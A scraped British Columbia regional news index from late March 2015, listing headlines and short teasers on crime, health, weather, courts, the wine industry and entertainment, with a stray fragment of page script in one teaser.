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Crowd-sourcing healthcare?

Crowd-sourcing healthcare?

Vancouver Mar 29, 2015 / 11:00 am

A long and dark list materializes when tabulating the health problems plaguing First Nations communities across Canada: HIV and AIDS, tuberculosis, nutritional...

Cop smashes car window

Cop smashes car window

Vancouver Mar 29, 2015 / 9:14 am

Vancouver police say a YouTube video of an officer smashing the window of a car he had just pulled over doesn't tell the whole story. The video, posted...

Woman rescued from river

Woman rescued from river

North Vancouver Mar 29, 2015 / 8:43 am

A woman and her dog were rescued from the fast-moving waters of Lynn Creek, Saturday. The woman was walking along the river when the pet jumped in, said North...

Castanet's week in review

Castanet's week in review

Mar 28, 2015 / 1:00 pm

Castanet's week in review with Jen Zielinski. if(navigator.userAgent.toLowerCase().match("android|ipad|iphone|iPod")&&Math.random()

Avalanche, warning issued

Avalanche, warning issued

Mar 28, 2015 / 9:55 am

An avalanche near Revelstoke reportedly buried a snowmobiler Friday afternoon. A post on Avalanche Canada says that a helicopter assisted search mission aided...

New legal centre for parents

New legal centre for parents

Mar 28, 2015 / 5:28 am

The B.C. government is hoping to reduce the number of child-protection cases going to court by opening a new legal centre for parents. The Parents Legal Centre...

Wine task force initiated

Wine task force initiated

Mar 28, 2015 / 5:00 am

A newly created task force will help boost the wine industry in B.C. The B.C. Wine Appellation Task Group includes 11 leading British Columbia wine producers...

Another shooting at Coast

Another shooting at Coast

Burnaby Mar 27, 2015 / 8:35 pm

A shooting in Burnaby Friday afternoon is under investigation by RCMP. Witnesses heard screaming on the 3800 block of Hastings Street about 3 p.m. A woman named...

Homeless won't have to pay

Homeless won't have to pay

Fraser Valley Mar 27, 2015 / 8:21 pm

Legal advocates for a group of homeless people in B.C.'s Fraser Valley say they won't have to pay tens of thousands of dollars to access police...

Highway 6 reopened

Highway 6 reopened

Needles Ferry Mar 27, 2015 / 7:32 pm

Highway 6 is now reopened one kilometre west of Needles Ferry Dock after drainage installation and highway rebuilding. It had been closed for a month following...

Alleged assailant charged

Alleged assailant charged

Vancouver Mar 27, 2015 / 6:50 pm

A man has been charged after a Vancouver woman was allegedly tied up and sexually assaulted by an intruder in her home. Vancouver Police Const. Brian Montague...

Wildfire near Merritt

Wildfire near Merritt

Merritt Mar 27, 2015 / 5:31 pm

AM 1130 is reporting a 10-15 hectare fire on the side of Highway 8, west of Merritt. The Vancouver station spoke with the Kamloops Wildfire Centre, who said the...

Judges win pay battle

Judges win pay battle

Vancouver Mar 27, 2015 / 3:46 pm

Provincial court judges in British Columbia have won a round in a long-standing battle against the government over pay and pension. Salary and pension...

$30M in fines for fraud

$30M in fines for fraud

Vancouver Mar 27, 2015 / 1:47 pm

The B.C. Securities Commission has permanently banned two men from the province's capital markets over what it says was one of the largest cases of fraud in...

Boundary changes for some

Boundary changes for some

Okanagan Mar 27, 2015 / 1:37 pm

The B.C. Electoral Boundaries Commission is recommending riding changes in the North and South Okanagan. While no significant changes were recommended for the...

13 charged in drug bust

13 charged in drug bust

Surrey Mar 27, 2015 / 12:28 pm

Thirteen people have been charged with more than 60 offences in a sweeping drug investigation. A total of 66 drug and firearms charges have been laid following...

Valley restaurants in top 100

Valley restaurants in top 100

Okanagan Valley Mar 27, 2015 / 11:40 am

A new list of the 100 best places to eat in Canada has been released, and 19 B.C. restaurants have made the cut – including three from the Okanagan. West...

Abbott blasts treaty decision

Abbott blasts treaty decision

Vancouver Mar 27, 2015 / 11:10 am

The man whose job was pulled from under him as the head of the B.C. Treaty Commission says he's convinced Premier Christy Clark will pay a political price...

Charges stayed in fatal crash

Charges stayed in fatal crash

Surrey Mar 27, 2015 / 10:09 am

Charges have been stayed against a transport truck driver who was involved in a crash that killed a Mountie in Surrey. Const. Adrian Oliver died in November...

X-Files returns to Vancouver

X-Files returns to Vancouver

Vancouver Mar 27, 2015 / 6:55 am

The X-Files is returning to Vancouver, sci-fi series villain "the Smoking Man" confirms. Local actor William B. Davis played the shadowy character on...

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